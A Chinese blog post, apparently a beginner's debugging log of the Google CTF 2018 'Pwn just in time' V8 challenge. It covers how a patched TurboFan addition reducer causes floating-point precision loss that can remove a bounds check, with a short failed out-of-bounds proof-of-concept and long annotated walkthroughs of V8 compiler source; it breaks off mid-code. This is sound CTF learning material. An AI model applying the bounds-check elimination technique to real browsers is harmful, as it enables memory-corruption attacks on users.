作为刚接触浏览器安全的初学者,我个人选择了从CTF来入手浏览器的漏洞模式和利用姿势,最近看了若干历史的浏览器类题目,印象比较深的是GoogleCTF的题目Pwn just in time,另一个是34C3 CTF的V9,分别涵盖了V8 TurboFan中的两个优化阶段TyperLowering
和RedundancyElimination
,由于某些错误导致的CheckBounds
和CheckMap
守卫分别被优化而造成的数组越界和类型混淆问题。这里分享一篇个人调试Pwn just in time的记录,后续有时间再整理另一篇34C3 CTF的V9的调试记录,涉及另一部分优化代码和漏洞模式。这篇也是笔者第一次阅读调试V8代码,虽然查阅了许多资料,但肯定有理解不足或错误的地方还请包涵指正。
题目链接:
https://ctftime.org/task/6982
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/
题目给出了两个patch文件,分别关闭了浏览器的sandbox和引入一个优化阶段的漏洞。
调试环境选择了在Visual Studio下,因为我觉得第一次调试肯定会是不断查看各种对象和结构体信息的过程。如下编译windows下的debug版本V8
1F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)
2λ git reset --hard 7.0.276.3
3
4F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)
5λ git apply src\out\default\poc\addition-reducer.patch
6
7F:\Research\chrome2\v8\v8 (HEAD detached at e0a58f8)
8λ cd src\
9
10F:\Research\chrome2\v8\v8\src (HEAD detached at e0a58f8)
11λ gn gen --ide=vs2017 out\default --args="is_debug = true target_cpu = \"x64\" v8_enable_backtrace = true v8_untrusted_code_mitigations = false is_component_build = true"
看一下题目给的补丁
1--- a/src/compiler/pipeline.cc
2+++ b/src/compiler/pipeline.cc
3@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
4 data->jsgraph()->Dead());
5 DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
6 data->common(), temp_zone);
7+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
8+ data->common());
9
10@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
11 data->js_heap_broker(), data->common(),
12 data->machine(), temp_zone);
13 AddReducer(data, &graph_reducer, &dead_code_elimination);
14+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
在TyperLowering
中增加了一个新的裁剪器DuplicateAdditionReducer
,我对补丁中做了一些注释信息:
1--- /dev/null
2+++ b/src/compiler/duplicate-addition-reducer.cc
3
4+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
5+ switch (node->opcode()) {
6 // 遍历到IrOpcode为kNumberAdd的node
7+ case IrOpcode::kNumberAdd:
8+ return ReduceAddition(node);
9+ default:
10+ return NoChange();
11+ }
12+}
13
14+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
15 // 检查当前结点的控制、数据、管理 Input的个数
16+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
17+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
18+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
19+
20 // 取出左结点,检查左结点的opcode是否也为kNumberAdd
21+ Node* left = NodeProperties::GetValueInput(node, 0);
22+ if (left->opcode() != node->opcode()) {
23+ return NoChange();
24+ }
25+
26 // 取出右结点,检查右结点的opcode是否为常数类型
27+ Node* right = NodeProperties::GetValueInput(node, 1);
28+ if (right->opcode() != IrOpcode::kNumberConstant) {
29+ return NoChange();
30+ }
31+
32 // 继续取出左结点的左右父节点,要求父右结点的opcode为常数
33+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
34+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
35+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
36+ return NoChange();
37+ }
38+
39 // 取出右结点、父右结点的常量const1、const2
40+ double const1 = OpParameter<double>(right->op());
41+ double const2 = OpParameter<double>(parent_right->op());
42 // 创建opcode为常量的,且值为const1 + const2,的新结点new_const
43+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
44+
45 // 替换当前node的右结点为new_const,左结点为父左结点
46+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
47+ NodeProperties::ReplaceValueInput(node, new_const, 1);
48+
49+ return Changed(node);
50+}
根据补丁信息,是对sea of nodes
中当前op为kNumberAdd
的node,做了如下4种情况的判断(图片来自Introduction to TurboFan):
当node通过了上述的4种条件的检查,则对状态4的图做如下优化
综上,其实是做了一种类似如下的优化
1n + const1 + const2 => n + (const1 + const2) => n + const3
看似是合法的加法结合顺序的调整,其实引入了浮点数IEEE754编码的精度丢失问题,最终导致了代码执行。
在d8 shell执行如下代码,可以清晰的看到精度丢失的问题
1d8> var x = Number.MAX_SAFE_INTEGER + 1
2undefined
3d8> x
49007199254740992
5d8> x + 1
69007199254740992
7d8> 9007199254740993 == 9007199254740992
8true
9d8> x + 2
109007199254740994
11d8> x + 3
129007199254740996
13d8> x + 4
149007199254740996
15d8> x + 5
169007199254740996
17d8> x + 6
189007199254740998
IEEE-754编码图示
V8使用IEEE-754编码浮点数,这意味着一个数字只有低52bit是用来作为value编码,因此ieee-754的最大值为pow(2, 53) - 1 = 9007199254740991
。比这个数值大将会导致精度丢失,如上面在d8 shell中执行的一致。
我们分析一下导致精度丢失的原因。64bit的IEEE-754包括1bit的sign符号位,11bit的exponent指数位,52bit的fraction尾数位。计算IEEE-754数值的value,遵循以下公式
1// 对introduction to turbofan的公式略作一点修改
2value = (-1)^sign * 2^(e) * fraction
3e = 2^(exponent - bias)
4bias = 1023 (for 64 bits doubles)
5fraction = 2^-0 + bit51*2^-1 + .... bit0*2^-52
6/***************************************************************
7* 关于bias
8* 参考https://yamm.finance/wiki/Exponent_bias.html
9* For a single-precision number, an exponent in the range −126 .. +127 is biased by adding 127 to exponent to get a value in the range 1 .. 254 (0 and 255 have special meanings).
10* For a double-precision number, an exponent in the range −1022 .. +1023 is biased by adding 1023 to exponent to get a value in the range 1 .. 2046 (0 and 2047 have special meanings).
11* For a quad-precision number, an exponent in the range −16382 .. +16383 is biased by adding 16383 to exponent to get a value in the range 1 .. 32766 (0 and 32767 have special meanings).
12***************************************************************/
遵循公式分别计算一下MAX_SAFE_INTEGER,+1,+2,三个数值的内存如下
1d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10)
2----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
30x00000b8fffc0ddd0 0x00001f5c50100559 MAP_TYPE
40x00000b8fffc0ddd8 0x433fffffffffffff // e=1075
5
6d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10)
7----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
80x00000b8fffc0aec0 0x00001f5c50100559 MAP_TYPE
90x00000b8fffc0aec8 0x4340000000000000 // e=1076
10
11d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10)
12----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
130x00000b8fffc0de88 0x00001f5c50100559 MAP_TYPE
140x00000b8fffc0de90 0x4340000000000001 // e=1076
最后计算value,可以使用网站(见参考3, 4, 5)计算如下算式
综上,IEEE-754编码存在精度丢失问题,不能表示9007199254740993
等,所以存在本节开始的d8 shell中执行的问题。
那么结合题目中给出的补丁,会存在如下图示bug
另外,新增的reducer不会更新改变的node的type,导致change后的node的type range仍为之前typer phase计算的(9007199254740992,9007199254740992),而非reducer后导致的node的range实际为(9007199254740994,9007199254740994)。
Add计算的结果9007199254740994比typer phase计算的range的最大值9007199254740992要大,下面的问题是怎么利用这个bug消除掉CheckBounds的检查?
可以通过typer phase计算的range和数组的length比较,恒为真来消除CheckBounds结点。
这一块踩了很多的坑,因为开始不了解V8里对象的内存存储结构,比如in-line
out-of-line
descriptor
等,也不了解v8的优化规则,后续也是查阅了很多资料,才勉强构造出类似如下的,但还是失败的poc,透过分析这个失败的poc的原因,笔者记录一下"被迫"调试分析一波v8源码的过程
1let opt_me = (x) => {
2 let arr = new Array(1.1,1.2);
3 let y = ( x==1 ) ? 9007199254740992 : 9007199254740991;
4 y = y + 1 + 1;
5 y = y - 9007199254740991; // max=1, actual max=3
6 return arr[y];
7}
8
9opt_me(0);
10%OptimizeFunctionOnNextCall(opt_me);
11let res = opt_me(1);
12print(res);
构造如上代码,开始笔者的想法是typer phase
阶段计算出行5 y
的range(1,1)
,所以可以优化掉checkbounds
,而因为typer lowering
阶段引入的bug导致y
实际是range(2,3)
从而导致越界。
但实际执行最后print的结构都是1.2
:(
最先引起我怀疑的是并没有执行到DuplicateAdditionReducer裁剪器。补丁中优化器的添加位置在src/compiler/pipeline.cc的1324行,位于struct TypedLoweringPhase{}
中,由1981行的bool PipelineImpl::CreateGraph(){}
调用。在整个CreateGraph函数中,会运行v8的多种phase
1GraphBuilderPhase
2InliningPhase
3EarlyGraphTrimmingPhase
4TyperPhase
5ConcurrentOptimizationPrepPhase
6CopyMetadataForConcurrentCompilePhase
7TypedLoweringPhase
继续向上梳理数据流,找到调用位置在880行
1PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(Isolate* isolate)
继续向上src/compiler.cc
1// ----------------------------------------------------------------------------
2// Implementation of OptimizedCompilationJob
3
4CompilationJob::Status OptimizedCompilationJob::PrepareJob(Isolate* isolate)
再向上会发现存在多条调用路径,所以我们在OptimizedCompilationJob::PrepareJob
下个断点看一下调用栈
上图中能看到的顶层函数是v8.dll!v8::internal::Runtime_CompileOptimized_NotConcurrent
,大概意思是非并行执行编译优化的运行时函数。调用在类似如下的文件中
1// F:\Research\chrome2\v8\v8\src\runtime\runtime-compiler.cc #21
2RUNTIME_FUNCTION(Runtime_CompileLazy) {
从文件名大概猜到是JIT代码的文件,顺手搜了下还有那些compiler文件
回到runtime-compiler.cc
,有如下运行时函数,有上面断点的入口函数Runtime_CompileOptimized_NotConcurrent
1RUNTIME_FUNCTION(Runtime_CompileLazy) {
2RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
3RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {
4RUNTIME_FUNCTION(Runtime_EvictOptimizedCodeSlot) {
5RUNTIME_FUNCTION(Runtime_InstantiateAsmJs) {
6RUNTIME_FUNCTION(Runtime_NotifyStubFailure) {
7RUNTIME_FUNCTION(Runtime_NotifyDeoptimized) {
8RUNTIME_FUNCTION(Runtime_CompileForOnStackReplacement) {
9RUNTIME_FUNCTION(Runtime_TryInstallOptimizedCode) {
10RUNTIME_FUNCTION(Runtime_ResolvePossiblyDirectEval) {
关于Runtime_CompileOptimized_NotConcurrent
和Runtime_CompileOptimized_Concurrent
笔者都有大概走读一遍,逻辑没有很大的区别。这里挑了Runtime_CompileOptimized_Concurrent
记录一下走读分析
1RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
2-->
3 if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
4 -->
5 if (!GetOptimizedCode(function, mode).ToHandle(&code)) {
跟入GetOptimizedCode
1MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
2 ConcurrencyMode mode,
3 BailoutId osr_offset = BailoutId::None(),
4 JavaScriptFrame* osr_frame = nullptr) {
5 Isolate* isolate = function->GetIsolate();
6 Handle<SharedFunctionInfo> shared(function->shared(), isolate);
7
8 // Make sure we clear the optimization marker on the function so that we
9 // don't try to re-optimize.
10 if (function->HasOptimizationMarker()) {
11 function->ClearOptimizationMarker();
12 }
13
14 Handle<Code> cached_code;
15 // 尝试从缓存中获取优化过的代码
16 if (GetCodeFromOptimizedCodeCache(function, osr_offset)
17 .ToHandle(&cached_code)) {
18 // ....
19 }
20
21 // Reset profiler ticks, function is no longer considered hot.
22 // 应该是cache中没有优化过的代码,这里准备优化,并将当前function设置为不会在hot
23 DCHECK(shared->is_compiled());
24 function->feedback_vector()->set_profiler_ticks(0);
25
26 /******************************************************************
27 * 下面一行代码,实例化job句柄
28 * NewCompilationJob最后返回的是
29 * return new PipelineCompilationJob(parse_info, shared, function);
30 *** 这个类继承自CompilationJob,其中比较重要的3个函数如下
31 *** // Prepare the compile job. Must be called on the main thread.
32 *** MUST_USE_RESULT Status PrepareJob();
33
34 *** // Executes the compile job. Can be called on a background thread if
35 *** // can_execute_on_background_thread() returns true.
36 *** MUST_USE_RESULT Status ExecuteJob();
37
38 *** // Finalizes the compile job. Must be called on the main thread.
39 *** MUST_USE_RESULT Status FinalizeJob();
40 * 至此先不做过多跟踪,回到原函数继续分析
41 ******************************************************************/
42 std::unique_ptr<CompilationJob> job(
43 compiler::Pipeline::NewCompilationJob(function, has_script));
44
45 // 继续是如一些条件判断,终止turbofan的编译优化等等
46 // ....
47
48 // 如下代码中,根据Mode,区分执行GetOptimizedCodeLater 或 GetOptimizedCodeNow
49 //
50 if (mode == ConcurrencyMode::kConcurrent) {
51 if (GetOptimizedCodeLater(job.get())) {
52 job.release(); // The background recompile job owns this now.
53
54 // Set the optimization marker and return a code object which checks it.
55 function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
56 if (function->IsInterpreted()) {
57 return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
58 } else {
59 return BUILTIN_CODE(isolate, CheckOptimizationMarker);
60 }
61 }
62 } else {
63 if (GetOptimizedCodeNow(job.get())) return compilation_info->code();
64 }
继续跟读GetOptimizedCodeLater
1// F:\Research\chrome2\v8\v8\src\compiler.cc #556
2bool GetOptimizedCodeLater(CompilationJob* job) {
3
4 // ....
5
6 /******************************************************************
7 * 下一行代码看到上面提及的PrepareJob(),针对继承CompilationJob的不同子类有不同实现,
8 * 除了这里的jit实现了一个,还有在解释器interpreter.cc以及wasm编译器中也分别实现了一个,
9 * PrepareJob我理解为jit的第一阶段,其中会先根据一些编译选项设置turbo的编译flag,
10 ** 调用如下代码,设置pipelinedata
11 ** data_.set_start_source_position(
12 ** compilation_info()->shared_info()->start_position());
13 ** 继续初始化Linkage,linkage规定类似调用约定?接着调用核心函数如下
14 ** if (!pipeline_.CreateGraph()) {
15 ** 顾名思义,在CreateGraph中创建sea of nodes,这个阶段会调用的一些phase有:
16 *** GraphBuilderPhase // 创建图,具体实现的粗略走读见《introtuction to turbofan》
17 *** InliningPhase // Perform function context specialization and inlining (if *** enabled).
18 *** EarlyGraphTrimmingPhase // Remove dead->live edges from the graph.
19 ***
20 *** // Type the graph and keep the Typer running on newly created nodes within
21 // this scope; the Typer is automatically unlinked from the Graph once we
22 // leave this scope below.
23 *** TyperPhase
24 *** TypedLoweringPhase // Lower JSOperators where we can determine types.
25
26 *** // Do some hacky things to prepare for the optimization phase.
27 (caching handles, etc.).
28 *** ConcurrentOptimizationPrepPhase
29
30 ******************************************************************/
31 if (job->PrepareJob() != CompilationJob::SUCCEEDED) return false;
32
33
34 /******************************************************************
35 * 这里mode是并发的,所以如下一行新起了一个优化线程
36 * 调用栈:
37 ** isolate->optimizing_compile_dispatcher()->QueueForOptimization(job);
38 ** V8::GetCurrentPlatform()->CallOnBackgroundThread(
39 new CompileTask(isolate_, this), v8::Platform::kShortRunningTask);
40 ** OptimizingCompileDispatcher::CompileTask->run()
41 ** dispatcher_->CompileNext(dispatcher_->NextInput(true));
42 ** CompilationJob::Status status = job->ExecuteJob();
43 *
44 * 至此又看到了我们之前提及的ExecuteJob(),其中调用到的phase:
45 ** LoopPeelingPhase、LoopExitEliminationPhase、LoadEliminationPhase、
46 ** EscapeAnalysisPhase、SimplifiedLoweringPhase、UntyperPhase、
47 ** GenericLoweringPhase、EarlyOptimizationPhase、EffectControlLinearizationPhase、
48 ** DeadCodeEliminationPhase、StoreStoreEliminationPhase、
49 ** ControlFlowOptimizationPhase、MemoryOptimizationPhase、LateOptimizationPhase
50 *
51 ******************************************************************/
52 isolate->optimizing_compile_dispatcher()->QueueForOptimization(job);
53
54 // ....
如上的代码走读,找到了构造sea of nodes
的入口GraphBuilderPhase
,位于PipelineImpl::CreateGraph()
中第一个调用的phase,为TurboFan优化的入口phase,从其phase_name()和构造函数大概理解到其功能是将“上层”传入的bytecodes转换为sea of nodes
的IR
图
1// src/compiler/pipeline.cc: 1138
2struct GraphBuilderPhase {
3 static const char* phase_name() { return "bytecode graph builder"; }
4
5 void Run(PipelineData* data, Zone* temp_zone) {
6 JSTypeHintLowering::Flags flags = JSTypeHintLowering::kNoFlags;
7 if (data->info()->is_bailout_on_uninitialized()) {
8 flags |= JSTypeHintLowering::kBailoutOnUninitialized;
9 }
10 BytecodeGraphBuilder graph_builder(
11 temp_zone, data->info()->shared_info(),
12 handle(data->info()->closure()->feedback_vector(), data->isolate()),
13 data->info()->osr_offset(), data->jsgraph(), CallFrequency(1.0f),
14 data->source_positions(), data->native_context(),
15 SourcePosition::kNotInlined, flags, true,
16 data->info()->is_analyze_environment_liveness());
17 graph_builder.CreateGraph();
18 }
19};
跟入graph_builder.CreateGraph(),SetStart
和SetEnd
分别设置Graph中的成员变量_start
和_end
,即为sea of nodes中的start 和 end结点,这个在后续的phase中会用到。这里生成start和end结点的参数一个是common()->Start(actual_parameter_count)
(这个参数个数+4是哪几个内置参数我没去追代码了),另一个是common()->End(input_count), input_count, inputs
,其中,这里的input_count表示了其父节点的个数,inputs表示其父节点的结构体
通过调试我们看到其父节点的opcode为return,正如sea of nodes所示
代码中间的VisitBytecodes()
会循环遍历bytecode指令,调用对应的指令node生成函数,生成对应的node
1// src\compiler\bytecode-graph-builder.cc: 577
2void BytecodeGraphBuilder::CreateGraph() {
3 SourcePositionTable::Scope pos_scope(source_positions_, start_position_);
4
5 // Set up the basic structure of the graph. Outputs for {Start} are the formal
6 // parameters (including the receiver) plus new target, number of arguments,
7 // context and closure.
8 int actual_parameter_count = bytecode_array()->parameter_count() + 4;
9 graph()->SetStart(graph()->NewNode(common()->Start(actual_parameter_count)));
10
11 Environment env(this, bytecode_array()->register_count(),
12 bytecode_array()->parameter_count(),
13 bytecode_array()->incoming_new_target_or_generator_register(),
14 graph()->start());
15 set_environment(&env);
16
17 VisitBytecodes();
18
19 // Finish the basic structure of the graph.
20 DCHECK_NE(0u, exit_controls_.size());
21 int const input_count = static_cast<int>(exit_controls_.size());
22 Node** const inputs = &exit_controls_.front();
23 Node* end = graph()->NewNode(common()->End(input_count), input_count, inputs);
24 graph()->SetEnd(end);
25}
如下是poc中opt_me函数的bytecode
VisitBytecodes() -> VisitSingleBytecode() 会遍历每一条指令,并通过switch 宏来调用对应的生成node的函数,如这里遍历到第二条指令,会调用BytecodeGraphBuilder::VisitLdaGlobal()
1// src\compiler\bytecode-graph-builder.cc: 979
2void BytecodeGraphBuilder::VisitLdaGlobal() {
3 PrepareEagerCheckpoint();
4 Handle<Name> name(
5 Name::cast(bytecode_iterator().GetConstantForIndexOperand(0)), isolate());
6 uint32_t feedback_slot_index = bytecode_iterator().GetIndexOperand(1);
7 Node* node =
8 BuildLoadGlobal(name, feedback_slot_index, TypeofMode::NOT_INSIDE_TYPEOF);
9 environment()->BindAccumulator(node, Environment::kAttachFrameState);
10}
此条指令处理后,会继续处理下一条指令,如此遍历bytecode生成对应node
GraphBuilderPhase
,对一些基本的结构有些了解。经过这个Phase的优化,sea of nodes
的结点便都有了Type & Range
。代码看TyperPhase
中只添加了一个reducer
:Visitor
1// src\compiler\typer.cc: 348
2void Typer::Run(const NodeVector& roots,
3 LoopVariableOptimizer* induction_vars) {
4 if (induction_vars != nullptr) {
5 induction_vars->ChangeToInductionVariablePhis();
6 }
7 Visitor visitor(this, induction_vars);
8 GraphReducer graph_reducer(zone(), graph());
9 graph_reducer.AddReducer(&visitor);
10 for (Node* const root : roots) graph_reducer.ReduceNode(root);
11 graph_reducer.ReduceGraph();
12
13 if (induction_vars != nullptr) {
14 induction_vars->ChangeToPhisAndInsertGuards();
15 }
16}
跟入Typer::Visitor::Reduce
,一个switch结构,根据node的opcode
调用不同的函数UpdateType()
1 // src\compiler\typer.cc: 66
2 Reduction Reduce(Node* node) override {
3 if (node->op()->ValueOutputCount() == 0) return NoChange();
4 switch (node->opcode()) {
5#define DECLARE_CASE(x) \
6 case IrOpcode::k##x: \
7 return UpdateType(node, TypeBinaryOp(node, x##Typer));
8 JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
9#undef DECLARE_CASE
10
11#define DECLARE_CASE(x) \
12 case IrOpcode::k##x: \
13
跟踪下SpeculateNumberAdd
结点的Typer处理,Typer::Visitor::Reduce
行94处理
SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V)
声明如下,宏展开即DECLARE_CASE(SpeculativeNumberAdd)
1#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \
2 V(SpeculativeNumberAdd) \
3 V(SpeculativeNumberSubtract) \
4 V(SpeculativeNumberMultiply) \
5 V(SpeculativeNumberDivide) \
6 V(SpeculativeNumberModulus) \
7 V(SpeculativeNumberBitwiseAnd) \
8 V(SpeculativeNumberBitwiseOr) \
9 V(SpeculativeNumberBitwiseXor) \
10 V(SpeculativeNumberShiftLeft) \
11 V(SpeculativeNumberShiftRight) \
12 V(SpeculativeNumberShiftRightLogical) \
13 V(SpeculativeSafeIntegerAdd) \
14 V(SpeculativeSafeIntegerSubtract)
根据上图中DECLARE_CASE
的声明,会调用行92UpdateType
。先进入TypeBinaryOp(node,x)
,条件成立最后调用f()
1// src\compiler\typer.cc: 393
2Type Typer::Visitor::TypeBinaryOp(Node* node, BinaryTyperFun f) {
3 Type left = Operand(node, 0);
4 Type right = Operand(node, 1);
5 return left.IsNone() || right.IsNone() ? Type::None()
6 : f(left, right, typer_);
7}
根据上下文,f
即SpeculativeNumberAdd
,但这里我并没有搜到SpeculativeNumberAdd
函数的声明实现,并且调试单步跟入vs会跑丢提示找不到某些文件,所以这里查看f
的函数地址,通过反汇编窗口找到代码如下
从反汇编大概可以看到call
到v8::internal::compiler::OperationTyper::SpeculativeNumberAdd
。直接在反汇编断点处查看源码,会发现落到src\compiler\typer.cc: 284
原来是通过宏定义的函数,根据宏展开,依旧是找不到SpeculativeNumberAdd
。所以我们继续在反汇编窗口跟入call
的地址,来到如下位置,这里我们就明白了,v8通过拼接的方式声明了SpeculativeNumberAdd
1--- F:\Research\chrome2\v8\v8\src\compiler\operation-typer.cc ------------------
2}
3
4#define SPECULATIVE_NUMBER_BINOP(Name) \
5 Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \
6 lhs = SpeculativeToNumber(lhs); \
7 rhs = SpeculativeToNumber(rhs); \
8 return Name(lhs, rhs); \
9 }
10SPECULATIVE_NUMBER_BINOP(NumberAdd)
1100007FFBA70C3CA0 sub rsp,88h
1200007FFBA70C3CA7 mov rax,rdx
1300007FFBA70C3CAA mov r10,qword ptr [__security_cookie (07FFBA886FE08h)]
1400007FFBA70C3CB1 xor r10,rsp
1500007FFBA70C3CB4 mov qword ptr [rsp+80h],r10
1600007FFBA70C3CBC mov qword ptr [rsp+78h],r8
1700007FFBA70C3CC1 mov qword ptr [rsp+70h],r9
1800007FFBA70C3CC6 mov qword ptr [rsp+38h],rcx
1900007FFBA70C3CCB mov rcx,qword ptr [rsp+38h]
2000007FFBA70C3CD0 mov r8,qword ptr [lhs]
2100007FFBA70C3CD5 mov qword ptr [rsp+60h],r8
2200007FFBA70C3CDA mov r8,qword ptr [rsp+60h]
2300007FFBA70C3CDF mov qword ptr [rsp+30h],rcx
2400007FFBA70C3CE4 lea r9,[rsp+68h]
2500007FFBA70C3CE9 mov qword ptr [rsp+28h],rdx
2600007FFBA70C3CEE mov rdx,r9
2700007FFBA70C3CF1 mov qword ptr [rsp+20h],rax
2800007FFBA70C3CF6 call v8::internal::compiler::OperationTyper::SpeculativeToNumber (07FFBA70C7450h)
2900007FFBA70C3CFB mov rax,qword ptr [rsp+68h]
3000007FFBA70C3D00 mov qword ptr [lhs],rax
3100007FFBA70C3D05 mov rax,qword ptr [rhs]
3200007FFBA70C3D0A mov qword ptr [rsp+50h],rax
3300007FFBA70C3D0F mov r8,qword ptr [rsp+50h]
3400007FFBA70C3D14 mov rcx,qword ptr [rsp+30h]
3500007FFBA70C3D19 lea rdx,[rsp+58h]
3600007FFBA70C3D1E call v8::internal::compiler::OperationTyper::SpeculativeToNumber (07FFBA70C7450h)
3700007FFBA70C3D23 mov rax,qword ptr [rsp+58h]
3800007FFBA70C3D28 mov qword ptr [rhs],rax
3900007FFBA70C3D2D mov rax,qword ptr [rhs]
4000007FFBA70C3D32 mov qword ptr [rsp+48h],rax
通过上面的代码,我们可以知道,SpeculativeNumberAdd
继续调到了NumberAdd
,根据如下代码行31调用AddRange()
添加range
1// src\compiler\operation-typer.cc: 578
2Type OperationTyper::NumberAdd(Type lhs, Type rhs) {
3 DCHECK(lhs.Is(Type::Number()));
4 DCHECK(rhs.Is(Type::Number()));
5
6 if (lhs.IsNone() || rhs.IsNone()) return Type::None();
7
8 // Addition can return NaN if either input can be NaN or we try to compute
9 // the sum of two infinities of opposite sign.
10 bool maybe_nan = lhs.Maybe(Type::NaN()) || rhs.Maybe(Type::NaN());
11
12 // Addition can yield minus zero only if both inputs can be minus zero.
13 bool maybe_minuszero = true;
14 if (lhs.Maybe(Type::MinusZero())) {
15 lhs = Type::Union(lhs, cache_.kSingletonZero, zone());
16 } else {
17 maybe_minuszero = false;
18 }
19 if (rhs.Maybe(Type::MinusZero())) {
20 rhs = Type::Union(rhs, cache_.kSingletonZero, zone());
21 } else {
22 maybe_minuszero = false;
23 }
24
25 // We can give more precise types for integers.
26 Type type = Type::None();
27 lhs = Type::Intersect(lhs, Type::PlainNumber(), zone());
28 rhs = Type::Intersect(rhs, Type::PlainNumber(), zone());
29 if (!lhs.IsNone() && !rhs.IsNone()) {
30 if (lhs.Is(cache_.kInteger) && rhs.Is(cache_.kInteger)) {
31 type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max());
32 } else {
33 if ((lhs.Maybe(minus_infinity_) && rhs.Maybe(infinity_)) ||
34 (rhs.Maybe(minus_infinity_) && lhs.Maybe(infinity_))) {
35 maybe_nan = true;
36 }
37 type = Type::PlainNumber();
38 }
39 }
40
41 // Take into account the -0 and NaN information computed earlier.
42 if (maybe_minuszero) type = Type::Union(type, Type::MinusZero(), zone());
43 if (maybe_nan) type = Type::Union(type, Type::NaN(), zone());
44 return type;
45}
继续看AddRanger
,也就清楚了SpeculativeNumberAdd
结点的range
设置
1// src\compiler\operation-typer.cc: 178
2Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min,
3 double rhs_max) {
4 double results[4];
5 results[0] = lhs_min + rhs_min;
6 results[1] = lhs_min + rhs_max;
7 results[2] = lhs_max + rhs_min;
8 results[3] = lhs_max + rhs_max;
9 // Since none of the inputs can be -0, the result cannot be -0 either.
10 // However, it can be nan (the sum of two infinities of opposite sign).
11 // On the other hand, if none of the "results" above is nan, then the
12 // actual result cannot be nan either.
13 int nans = 0;
14 for (int i = 0; i < 4; ++i) {
15 if (std::isnan(results[i])) ++nans;
16 }
17 if (nans == 4) return Type::NaN();
18 Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone());
19 if (nans > 0) type = Type::Union(type, Type::NaN(), zone());
20 // Examples:
21 // [-inf, -inf] + [+inf, +inf] = NaN
22 // [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN
23 // [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN
24 // [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN
25 return type;
26}
再跟踪下jscall
结点的Typer处理,Typer::Visitor::Reduce
#75处理
1#define DECLARE_CASE(x) \
2 case IrOpcode::k##x: \
3 return UpdateType(node, Type##x(node));
4 DECLARE_CASE(Start)
5 DECLARE_CASE(IfException)
6 // VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
7 COMMON_OP_LIST(DECLARE_CASE)
8 SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
9 SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE)
10 JS_SIMPLE_UNOP_LIST(DECLARE_CASE)
11 JS_OBJECT_OP_LIST(DECLARE_CASE)
12 JS_CONTEXT_OP_LIST(DECLARE_CASE)
13 JS_OTHER_OP_LIST(DECLARE_CASE) //JSCall在这里处理
14#undef DECLARE_CASE
这个处理比较容易跟踪,最终在JSCallTyper
处理,可以看到调用Math.random()
将return Type::PlainNumber();
1// src\compiler\typer.cc#1417
2Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
3 if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
4 return Type::NonInternal();
5 }
6 JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
7 if (!function.shared().HasBuiltinFunctionId()) {
8 return Type::NonInternal();
9 }
10 switch (function.shared().builtin_function_id()) {
11 case BuiltinFunctionId::kMathRandom:
12 return Type::PlainNumber();
NumberConstant
设置range
其他的node也会一一通过typerphase设置type。
直到这个phase添加了比较多的reducer,我才意识到v8对于sea of nodes
的整体遍历逻辑:v8在开始reduce之前,会从end
开始进行深度优先遍历,将遍历的node
push到stack_
中,然后从stack_
顶部开始调用Reduce
进行处理。Reduce
中循环遍历reducers_
中的全部reducer,分别调用reducer->Reduce(node)
处理。
bool PipelineImpl::CreateGraph(){}
调用TypedLoweringPhase
,其中添加的Reducer包括题目中patch的DuplicateAdditionReducer
,TypedLoweringPhase->Run()
添加多个Reducer后,最后调用graph_reducer.ReduceGraph()
:
1void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }
graph()->end()
即获得Graph
类的成员变量_end
,其指向sea of nodes的最后一个opcode为end的结点。跟入ReduceNode,走读参考添加的注释
1// src\compiler\graph-reducer.cc: 48
2void GraphReducer::ReduceNode(Node* node) {
3 // 维护stack_栈,保存从end_开始遍历到的node
4 DCHECK(stack_.empty());
5 // 维护revisit_队列,顾名思义及for中else if的代码,是有必要重新ReduceTop()处理的node
6 DCHECK(revisit_.empty());
7 // 将end_结点push到stack_
8 Push(node);
9 for (;;) {
